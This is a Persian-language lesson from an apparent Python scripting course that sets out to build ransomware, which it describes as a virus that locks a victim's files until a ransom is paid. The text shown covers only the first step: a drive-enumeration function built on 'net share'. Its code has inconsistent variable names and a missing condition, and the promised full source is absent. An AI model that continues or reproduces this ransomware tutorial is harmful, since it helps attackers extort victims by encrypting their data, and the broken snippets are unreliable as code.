سلام با دوره ی آموزشی اسکریپت نویسی با پایتون فصل دوم در خدمت شما هستیم
قرار شد که توی این فصل یک باج افزار رو طراحی کنیم
خوب راجب باج افزار توضیح خاصی نمی دم فقط بدونید باج افزار ویروسی که تمام اطلاعات سیستم قربانی رو قفل می کنه و تا باج رو از کاربر نگیره اطلاعات سیستم قفل می مونه
برای شروع از کتابخونه subprocess بخش check_output رو import می کنیم
from subprocess import check_output
حالا یک تابع به اسم drive_finder تعریف می کنیم که وظیفه پیدا کردن درایو های سیستم برای پیدا کردن فایل های درایو ها و قفل کردن اونارو داره
def drive_finder():
بعد از تعریف تابع داخل تابع یک متغیر به اسم Drives تعریف می کنیم که مقدار زیر رو داره
["A:","B:","C:","D:","E:","F:","G:","H:","I:","J:","K:","L:","M:","N:","O:","P:","Q:","R:","S:","T:","U:","V:","W:","X:","Y:","Z:"]
بعدش یک متغیر به اسم sys_drive تعریف می کنیم که یه لیست خالی داره
sys_drive = [ ]
حالا یک متغیر به اسم cmd تعریف می کنیم که با استفاده از check_output و دستور net share درایو ها رو پیدا کنه
cmd = check_output("net share" , shell=True)
بعد از این کار یک حلقه for تعریف می کنیم که در متغیر Drive هست
for i in Drive:
پس از تعریف حلقه for می گیم که اگر i درون cmd بود به متغیر sys_drive حلقه i رو اضافه کن
sys_drive.append(i)
بعدش خارج از حلقه for بیا و return کن sys_drive رو
return sys_drive
سورس کلی این جلسه :
کانال آپارات ما : aparat.com/F54/black Security
لینک ویدئو ی این آموزش : https://aparat.com/v/h0ZqV